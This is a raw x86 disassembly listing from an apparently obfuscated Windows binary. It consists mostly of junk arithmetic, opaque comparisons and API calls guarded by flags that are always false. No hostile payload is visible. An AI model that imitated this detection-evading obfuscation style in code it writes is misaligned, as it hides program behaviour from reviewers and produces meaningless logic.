mov dword [ebp + eax*4 - 0x3450], 0xfffffff8
jmp 0x448926
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x2044], 0
je 0x448a2a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2044]
mov dword [ebp - 0x2e64], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ebp + ecx*4 - 0x2044]
cmp dword [ebp + eax - 0x2728], ecx
jne 0x448998
mov dword [ebp - 0x1b9c], 1
jmp 0x44899f
and dword [ebp - 0x1b9c], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x1b9c]
cmp dword [ebp - 0x3f8], eax
jg 0x4489bc
mov dword [ebp - 0xc9c], 1
jmp 0x4489c3
and dword [ebp - 0xc9c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3450]
cmp dword [ebp - 0xc9c], eax
jl 0x4489e4
mov dword [ebp - 0x1ba4], 1
jmp 0x4489eb
and dword [ebp - 0x1ba4], 0
mov eax, dword [ebp - 0x3f8]
add eax, dword [ebp - 0x1ba4]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2728]
jg 0x448a12
mov dword [ebp - 0x269c], 1
jmp 0x448a19
and dword [ebp - 0x269c], 0
or eax, 0xffffffff
je 0x448a2a
mov dword [ebp - 0xca4], 1
jmp 0x448a31
and dword [ebp - 0xca4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3450]
cmp dword [ebp - 0xca4], eax
jge 0x448a52
mov dword [ebp - 0xb84], 1
jmp 0x448a59
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xb84]
mov dword [ebp + eax*4 - 0x2044], ecx
mov eax, dword [ebp - 0xb84]
mov dword [ebp - 0x26a4], eax
mov dword [ebp - 0x3f8], 0
jmp 0x448a8e
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x20
jle 0x448c0e
mov dword [ebp - 0x1bbc], 0xffffffff
mov dword [ebp - 0xcac], 0
mov dword [ebp - 0xcc4], 9
cmp dword [ebp - 0x1bbc], 0
jne 0x448b5c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2728], 0
jne 0x448b4a
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x2044], 0xffffffff
jne 0x448aef
mov dword [ebp - 0x1bac], 1
jmp 0x448af6
and dword [ebp - 0x1bac], 0
mov eax, dword [ebp - 0x1bac]
mov dword [ebp - 0xcac], eax
cmp dword [ebp - 0xcac], 0
je 0x448b24
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x2044], 0
je 0x448b24
mov dword [ebp - 0x1bb4], 1
jmp 0x448b2b
and dword [ebp - 0x1bb4], 0
cmp dword [ebp - 0x1bb4], 0x7675e6d9
jne 0x448b43
mov dword [ebp - 0xcb4], 1
jmp 0x448b4a
and dword [ebp - 0xcb4], 0
cmp dword [ebp - 0x26ac], 0
jne 0x448b5c
and dword [ebp - 0xcbc], 0
jmp 0x448b66
mov dword [ebp - 0xcbc], 1
mov eax, dword [ebp - 0x1bbc]
add eax, dword [ebp - 0xcbc]
cmp eax, dword [ebp - 0x26b4]
jg 0x448b86
mov dword [ebp - 0x1bc4], 1
jmp 0x448b8d
and dword [ebp - 0x1bc4], 0
mov eax, dword [ebp - 0x1bc4]
mov dword [ebp - 0xcc4], eax
mov eax, dword [ebp - 0xcc4]
mov dword [ebp - 0x1bcc], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1bcc]
mov dword [ebp + eax - 0x2044], ecx
cmp dword [ebp - 0x1bcc], 0
jne 0x448bcc
mov dword [ebp - 0xccc], 1
jmp 0x448bd3
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xccc]
mov dword [ebp - 0x26bc], eax
mov byte [ebp - 0x27e], 0
movzx eax, byte [ebp - 0x27e]
test eax, eax
je 0x448c09
push 0x8e5
push 0x7e1
push 0xaa5
call dword [sym.imp.KERNEL32.dll_MulDiv]
jmp 0x448a81
jmp 0x4488e1
mov dword [ebp - 0x7d8], 0
jmp 0x448c2c
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 2
jge 0x448c48
mov eax, dword [ebp - 0x7d8]
mov dword [ebp + eax*4 - 0xb3c], 0xfffffffb
jmp 0x448c1f
mov dword [ebp - 0xf8], 0xffffffff
mov dword [ebp - 0x1bd4], 0xf8b243e5
mov dword [ebp - 0x2e6c], 0x2e6
mov dword [ebp - 0x598], 0
jmp 0x448c7f
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 1
jge 0x448c9b
mov eax, dword [ebp - 0x598]
mov dword [ebp + eax*4 - 0x560], 0xffffffff
jmp 0x448c72
mov dword [ebp - 0xf8], 0xfffffffa
jmp 0x448cb4
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffe6
jne 0x448e70
mov dword [ebp - 0xcdc], 0x4d1454bc
mov dword [ebp - 0x26d4], 0x1718bc69
mov dword [ebp - 0x2a3c], 0x44fa3fda
mov dword [ebp - 0x2a38], 0x44fa3fda
mov dword [ebp - 0x2a34], 0x44fa3fda
mov dword [ebp - 0x2a30], 0x44fa3fda
mov dword [ebp - 0x7e0], 0
jmp 0x448d16
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 2
jge 0x448d32
mov eax, dword [ebp - 0x7e0]
mov dword [ebp + eax*4 - 0x2f70], 1
jmp 0x448d09
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x560], 0
je 0x448e1b
mov eax, dword [ebp - 0xf8]
add eax, 0x19e87f12
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x560]
jne 0x448d6c
mov dword [ebp - 0xa4c], 1
jmp 0x448d73
and dword [ebp - 0xa4c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa4c]
mov dword [ebp + eax - 0x2f70], ecx
cmp dword [ebp - 0xa4c], 0x5943
jle 0x448d9e
mov dword [ebp - 0x26c4], 1
jmp 0x448da5
and dword [ebp - 0x26c4], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x2e74], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x560], 0xffffffff
jae 0x448dcd
mov dword [ebp - 0x26cc], 1
jmp 0x448dd4
and dword [ebp - 0x26cc], 0
mov eax, dword [ebp - 0xcdc]
mov dword [ebp - 0x2e7c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x560]
mov dword [ebp - 0x2e84], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x560]
mov dword [ebp - 0x1bd4], eax
cmp dword [ebp - 0x1bd4], 0
je 0x448e1b
mov dword [ebp - 0xcd4], 1
jmp 0x448e22
and dword [ebp - 0xcd4], 0
cmp dword [ebp - 0xcd4], 0
jb 0x448e37
mov dword [ebp - 0x1bdc], 1
jmp 0x448e3e
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0x1bdc]
sub eax, dword [ebp - 0xcdc]
mov dword [ebp - 0x26d4], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2a3c]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2a3c], eax
jmp 0x448ca7
mov dword [ebp - 0xf8], 0
jmp 0x448e89
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x448eae
mov byte [ebp - 0x280], 0
movzx eax, byte [ebp - 0x280]
test eax, eax
je 0x448eac
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
jmp 0x448e7c
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xad4], 1
jmp 0x448ed9
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xad4]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xad4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xad4], 0
jl 0x44a628
mov dword [ebp - 0x7c], 0x30f5
mov dword [ebp - 0xaec], 0xa27289ff
mov dword [ebp - 0x440], 0xd5
mov dword [ebp - 0x568], 0
mov dword [ebp - 0x5a0], 0
jmp 0x448f2a
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 1
jge 0x448f46
mov eax, dword [ebp - 0x5a0]
mov dword [ebp + eax*4 - 0x1c04], 8
jmp 0x448f1d
mov eax, 0xe446
test eax, eax
je 0x44901a
cmp dword [ebp - 0x7c], 0
jne 0x448f6b
mov eax, 0xc13fe662
test eax, eax
jne 0x448f6b
and dword [ebp - 0x1be4], 0
jmp 0x448f75
mov dword [ebp - 0x1be4], 1
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x1be4], eax
jne 0x448f8c
mov dword [ebp - 0xce4], 1
jmp 0x448f93
and dword [ebp - 0xce4], 0
mov eax, dword [ebp - 0x7c]
sub eax, dword [ebp - 0xce4]
je 0x448fb6
cmp dword [ebp - 0x7c], 0
je 0x448fb6
cmp dword [ebp - 0x7c], 0
je 0x448fb6
mov dword [ebp - 0x1bec], 1
jmp 0x448fbd
and dword [ebp - 0x1bec], 0
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x1bec]
jg 0x448fd4
mov dword [ebp - 0xcec], 1
jmp 0x448fdb
and dword [ebp - 0xcec], 0
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0xaec], eax
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0xaec], eax
jl 0x448ffe
mov dword [ebp - 0x1bf4], 1
jmp 0x449005
and dword [ebp - 0x1bf4], 0
cmp dword [ebp - 0x1bf4], 4
jge 0x44901a
mov dword [ebp - 0xcf4], 1
jmp 0x449021
and dword [ebp - 0xcf4], 0
cmp dword [ebp - 0xcf4], 6
jne 0x449036
mov dword [ebp - 0x1bfc], 1
jmp 0x44903d
and dword [ebp - 0x1bfc], 0
mov eax, dword [ebp - 0x440]
add eax, dword [ebp - 0x1bfc]
jne 0x449057
mov dword [ebp - 0xcfc], 1
jmp 0x44905e
and dword [ebp - 0xcfc], 0
mov eax, dword [ebp - 0xcfc]
mov dword [ebp - 0x568], eax
mov dword [ebp - 0x568], 0
jmp 0x449083
mov eax, dword [ebp - 0x568]
dec eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0
jl 0x449175
mov dword [ebp - 0x2e8c], 0xe9f9
mov dword [ebp - 0x440], 0
jmp 0x4490b3
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 1
jge 0x4490cf
mov eax, dword [ebp - 0x440]
mov dword [ebp + eax*4 - 0x1c04], 0xfffffffb
jmp 0x4490a6
mov dword [ebp - 0x7c], 0
jmp 0x4490df
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jl 0x449170
mov dword [ebp - 0x2e94], 0
mov dword [ebp - 0x92c], 1
mov dword [ebp - 0x26ec], 0xd7276cc
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp + eax*4 - 0x1c04]
mov dword [ebp - 0x26dc], eax
mov eax, dword [ebp - 0x92c]
mov dword [ebp - 0x26e4], eax
mov eax, dword [ebp - 0x92c]
dec eax
mov dword [ebp - 0x92c], eax
mov eax, dword [ebp - 0x26dc]
cmp eax, dword [ebp - 0x26e4]
jle 0x44914a
mov dword [ebp - 0xd04], 1
jmp 0x449151
and dword [ebp - 0xd04], 0
mov eax, dword [ebp - 0xd04]
mov dword [ebp - 0x26ec], eax
cmp dword [ebp - 0xaec], 0
je 0x44916b
jmp 0x4490d8
jmp 0x4490d8
jmp 0x449076
mov dword [ebp - 0x7e8], 0
jmp 0x44918e
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 1
jge 0x4491aa
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x2c4], 0xfffffffd
jmp 0x449181
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2c4], 0xffffffe7
jmp 0x4491d8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2c4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c4], 0x16
je 0x449470
mov dword [ebp - 0x5a8], 0
jmp 0x449205
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 3
jge 0x449221
mov eax, dword [ebp - 0x5a8]
mov dword [ebp + eax*4 - 0x2288], 0
jmp 0x4491f8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2288]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2288], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c4], 0
je 0x44927c
mov byte [ebp - 0x282], 0
movzx eax, byte [ebp - 0x282]
test eax, eax
je 0x449277
push 0x243e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
jmp 0x44946b
mov dword [ebp - 0x26f4], 0x17e5c285
mov dword [ebp - 0x7f0], 0
jmp 0x44929f
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 2
jge 0x4492bb
mov eax, dword [ebp - 0x7f0]
mov dword [ebp + eax*4 - 0xb24], 0x2bbef7d6
jmp 0x449292
mov byte [ebp - 0x284], 0
movzx eax, byte [ebp - 0x284]
test eax, eax
je 0x4492df
push 0x154a
push 0x1e9c
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb24], 2
jmp 0x44930d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb24]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb24], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb24], 0
jl 0x44946b
mov dword [ebp - 0x270c], 0x8963ec58
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb24]
mov eax, dword [ebp + eax*4 - 0x2288]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xb24]
sub eax, dword [ebp + ecx*4 - 0x2288]
mov dword [ebp - 0x26f4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c4], 0xffff
jbe 0x449378
mov dword [ebp - 0x1c14], 1
jmp 0x44937f
and dword [ebp - 0x1c14], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb24], 1
jne 0x44939b
mov dword [ebp - 0x26fc], 1
jmp 0x4493a2
and dword [ebp - 0x26fc], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2288], 0
jne 0x4493cb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2288], 0
jne 0x4493cb
and dword [ebp - 0x1c0c], 0
jmp 0x4493d5
mov dword [ebp - 0x1c0c], 1
cmp dword [ebp - 0x1c0c], 0x761b
jle 0x4493ed
mov dword [ebp - 0xd0c], 1
jmp 0x4493f4
and dword [ebp - 0xd0c], 0
cmp dword [ebp - 0xd0c], 0x5741
jle 0x44940c
mov dword [ebp - 0x2704], 1
jmp 0x449413
and dword [ebp - 0x2704], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c4], 0xe2db80eb
je 0x449432
mov dword [ebp - 0xd14], 1
jmp 0x449439
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x1c14]
cmp eax, dword [ebp - 0xd14]
jl 0x449453
mov dword [ebp - 0x1c1c], 1
jmp 0x44945a
and dword [ebp - 0x1c1c], 0
mov eax, dword [ebp - 0x1c1c]
mov dword [ebp - 0x270c], eax
jmp 0x4492f2
jmp 0x4491bd
mov dword [ebp - 0xe04], 0
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x18c], 0x3933b839
mov dword [ebp - 0x84], 0x2059515e
mov dword [ebp - 0xd84], 0x9adbe56f
mov dword [ebp - 0x118], 0
jmp 0x4494b8
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jge 0x4494d4
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x2820], 0xd6326003
jmp 0x4494ab
mov dword [ebp - 0x118], 0
jmp 0x4494ed
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jge 0x449509
mov eax, dword [ebp - 0x118]
mov dword [ebp + eax*4 - 0x2e9c], 0xb11589a4
jmp 0x4494e0
cmp dword [ebp - 0x40], 0xfffffff7
je 0x44951b
mov dword [ebp - 0xd1c], 1
jmp 0x449522
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xd1c], eax
jl 0x449539
mov dword [ebp - 0x1c24], 1
jmp 0x449540
and dword [ebp - 0x1c24], 0
cmp dword [ebp - 0x1c24], 0xa624cdb8
je 0x449558
mov dword [ebp - 0xd24], 1
jmp 0x44955f
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x40], eax
je 0x449579
cmp dword [ebp - 0x40], 0
je 0x449579
mov dword [ebp - 0x1c2c], 1
jmp 0x449580
and dword [ebp - 0x1c2c], 0
mov eax, dword [ebp - 0xd24]
imul eax, dword [ebp - 0x1c2c]
cmp eax, dword [ebp - 0x40]
jl 0x44959e
mov dword [ebp - 0xd2c], 1
jmp 0x4495a5
and dword [ebp - 0xd2c], 0
cmp dword [ebp - 0xd2c], 0xffffffff
jl 0x4495ba
mov dword [ebp - 0x1c34], 1
jmp 0x4495c1
and dword [ebp - 0x1c34], 0
imul eax, dword [ebp - 0x1c34], 0
test eax, eax
je 0x4497df
mov dword [ebp - 0x9c], 3
xor eax, eax
inc eax
je 0x4495f1
cmp dword [ebp - 0x40], 0
je 0x4495f1
mov dword [ebp - 0xd54], 1
jmp 0x4495f8
and dword [ebp - 0xd54], 0
cmp dword [ebp - 0x18c], 0
jne 0x44960d
mov dword [ebp - 0xd34], 1
jmp 0x449614
and dword [ebp - 0xd34], 0
mov eax, dword [ebp - 0xd34]
sub eax, 0x6dc0
imul eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x9c]
jl 0x449641
mov dword [ebp - 0x1c3c], 1
jmp 0x449648
and dword [ebp - 0x1c3c], 0
mov eax, dword [ebp - 0x1c3c]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
add eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x9c]
jle 0x449678
mov dword [ebp - 0xd3c], 1
jmp 0x44967f
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0xd3c], eax
jge 0x449699
mov dword [ebp - 0x2714], 1
jmp 0x4496a0
and dword [ebp - 0x2714], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2ea4], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xf518
je 0x4496d3
cmp dword [ebp - 0x9c], 0
jne 0x4496d3
and dword [ebp - 0x1c44], 0
jmp 0x4496dd
mov dword [ebp - 0x1c44], 1
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x1c44], eax
jl 0x4496f7
mov dword [ebp - 0xd44], 1
jmp 0x4496fe
and dword [ebp - 0xd44], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0xd44], eax
jne 0x449715
mov dword [ebp - 0x1c4c], 1
jmp 0x44971c
and dword [ebp - 0x1c4c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x1c4c], eax
jne 0x449736
mov dword [ebp - 0xd4c], 1
jmp 0x44973d
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xd4c]
add eax, 0x56a7
xor ecx, ecx
inc ecx
sub ecx, eax
jne 0x44975e
cmp dword [ebp - 0x40], 0
jne 0x44975e
and dword [ebp - 0x271c], 0
jmp 0x449768
mov dword [ebp - 0x271c], 1
push 0xfffffffffffffff6
pop eax
cmp eax, 0xb7dc
jne 0x44977e
mov dword [ebp - 0x1c54], 1
jmp 0x449785
and dword [ebp - 0x1c54], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x1c54], eax
jg 0x44979f
mov dword [ebp - 0x1c5c], 1
jmp 0x4497a6
and dword [ebp - 0x1c5c], 0
mov eax, dword [ebp - 0xd54]
cmp eax, dword [ebp - 0x1c5c]
jg 0x4497c0
mov dword [ebp - 0xd5c], 1
jmp 0x4497c7
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xd5c]
mov dword [ebp - 0x9c], eax
jmp 0x449b1d
mov dword [ebp - 0x400], 1
mov dword [ebp - 0x934], 0x58b9e079
mov dword [ebp - 0x84], 0
jmp 0x44980c
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x44982e
mov dword [ebp - 0x1c64], 0xd231d576
mov eax, dword [ebp - 0x1c64]
inc eax
mov dword [ebp - 0x1c64], eax
jmp 0x4497ff
mov dword [ebp - 0x18c], 0x1d
jmp 0x449847
mov eax, dword [ebp - 0x18c]
dec eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 9
jl 0x449b1d
mov dword [ebp - 0x210], 0xfffffffa
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x2eac], eax
cmp dword [ebp - 0x400], 0
jne 0x44988e
mov eax, 0xffff
test eax, eax
jne 0x44988e
mov eax, 0xd6df
test eax, eax
jne 0x44988e
and dword [ebp - 0xd64], 0
jmp 0x449898
mov dword [ebp - 0xd64], 1
mov eax, dword [ebp - 0xd84]
imul eax, dword [ebp - 0xd64]
sub eax, dword [ebp - 0x400]
add eax, dword [ebp - 0x400]
cmp dword [ebp - 0x210], eax
jl 0x4498c5
mov dword [ebp - 0x1c6c], 1
jmp 0x4498cc
and dword [ebp - 0x1c6c], 0
mov eax, dword [ebp - 0x210]
cmp dword [ebp - 0x1c6c], eax
jne 0x4498e6
mov dword [ebp - 0xd6c], 1
jmp 0x4498ed
and dword [ebp - 0xd6c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2820]
cmp dword [ebp - 0xd6c], eax
jg 0x44990e
mov dword [ebp - 0x1c74], 1
jmp 0x449915
and dword [ebp - 0x1c74], 0
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
add eax, dword [ebp - 0x1c74]
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0x72c66c3c
jle 0x44994b
mov dword [ebp - 0xd74], 1
jmp 0x449952
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0xd74]
lea eax, [eax + ecx - 1]
cmp dword [ebp - 0x210], eax
jl 0x449976
mov dword [ebp - 0x2828], 1
jmp 0x44997d
and dword [ebp - 0x2828], 0
cmp dword [ebp - 0x934], 0xc3c1
jne 0x449995
mov dword [ebp - 0x1c7c], 1
jmp 0x44999c
and dword [ebp - 0x1c7c], 0
mov eax, dword [ebp - 0x210]
cmp dword [ebp - 0x1c7c], eax
jl 0x4499b6
mov dword [ebp - 0xd7c], 1
jmp 0x4499bd
and dword [ebp - 0xd7c], 0
mov eax, dword [ebp - 0xd7c]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x84], 0xffffffeb
jmp 0x4499e2
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffeb
jg 0x449b18
mov dword [ebp - 0x29fc], 0xcff1cc5c
mov dword [ebp - 0x29f8], 0xcff1cc5c
mov dword [ebp - 0x29f4], 0xcff1cc5c
mov dword [ebp - 0x29f0], 0xcff1cc5c
mov dword [ebp - 0x5b0], 0
jmp 0x449a30
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 1
jge 0x449a4c
mov eax, dword [ebp - 0x5b0]
mov dword [ebp + eax*4 - 0x2830], 0xebe340c
jmp 0x449a23
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29fc]
inc eax
mov dword [ebp - 0x1c84], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c84]
mov dword [ebp + eax - 0x29fc], ecx
cmp dword [ebp - 0x1c84], 0
je 0x449b00
mov eax, dword [ebp - 0xd84]
mov dword [ebp - 0x2eb4], eax
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x2ebc], eax
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x2ec4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x29fc]
cmp dword [ebp + eax - 0x29fc], ecx
je 0x449acc
mov dword [ebp - 0xa54], 1
jmp 0x449ad3
and dword [ebp - 0xa54], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa54]
mov dword [ebp + eax - 0x2830], ecx
mov eax, dword [ebp - 0x400]
cmp eax, dword [ebp - 0xa54]
jle 0x449b00
mov dword [ebp - 0x1c8c], 1
jmp 0x449b07
and dword [ebp - 0x1c8c], 0
mov eax, dword [ebp - 0x1c8c]
mov dword [ebp - 0x210], eax
jmp 0x4499d5
jmp 0x44983a
mov dword [ebp - 0x40], 0
jmp 0x449b2d
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffffe
je 0x449b5c
mov byte [ebp - 0x286], 0
movzx eax, byte [ebp - 0x286]
test eax, eax
je 0x449b5a
push 2
push 0
push 0
push 0
push 0x8af
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x449b26
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0x7f8], 0xb3a00d0e
mov dword [ebp - 0x2cc], 0xe4c2
mov dword [ebp - 0xa8], 0xfffffff9
mov dword [ebp - 0x800], 0x3e3585ca
mov dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x7f8]
sub eax, 0xd5f8
imul eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x7f8]
je 0x449bca
mov dword [ebp - 0xd8c], 1
jmp 0x449bd1
and dword [ebp - 0xd8c], 0
mov eax, dword [ebp - 0x7f8]
cmp dword [ebp - 0xd8c], eax
je 0x449beb
mov dword [ebp - 0x1c94], 1
jmp 0x449bf2
and dword [ebp - 0x1c94], 0
mov eax, dword [ebp - 0xe0]
cmp dword [ebp - 0x1c94], eax
jle 0x449c0c
mov dword [ebp - 0xd94], 1
jmp 0x449c13
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0xd94]
neg eax
cmp eax, dword [ebp - 0xe0]
jg 0x449c2a
cmp dword [ebp - 0xa8], 0
cmp dword [ebp - 0x7f8], 0x700d
jle 0x449c42
mov dword [ebp - 0x2838], 1
jmp 0x449c49
and dword [ebp - 0x2838], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2ecc], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x2ed4], eax
mov eax, dword [ebp - 0x2cc]
cmp dword [ebp - 0xe0], eax
je 0x449c7b
mov dword [ebp - 0x2840], 1
jmp 0x449c82
and dword [ebp - 0x2840], 0
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x800]
sub eax, dword [ebp - 0x2cc]
je 0x449d61
mov dword [ebp - 0x2edc], 0xd14b7180
mov dword [ebp - 0x2ee4], 1
mov dword [ebp - 0x5b8], 0
jmp 0x449ccd
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 1
jge 0x449ce9
mov eax, dword [ebp - 0x5b8]
mov dword [ebp + eax*4 - 0x2eec], 0x7dfcc86f
jmp 0x449cc0
mov dword [ebp - 0xa8], 0
jmp 0x449d02
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x449d5c
mov dword [ebp - 0x2ef4], 0x1949f0dc
mov dword [ebp - 0x2efc], 0xdda31432
mov dword [ebp - 0xe0], 0
jmp 0x449d38
mov eax, dword [ebp - 0xe0]
dec eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jl 0x449d5a
mov dword [ebp - 0x1c9c], 0xf392
mov eax, dword [ebp - 0x1c9c]
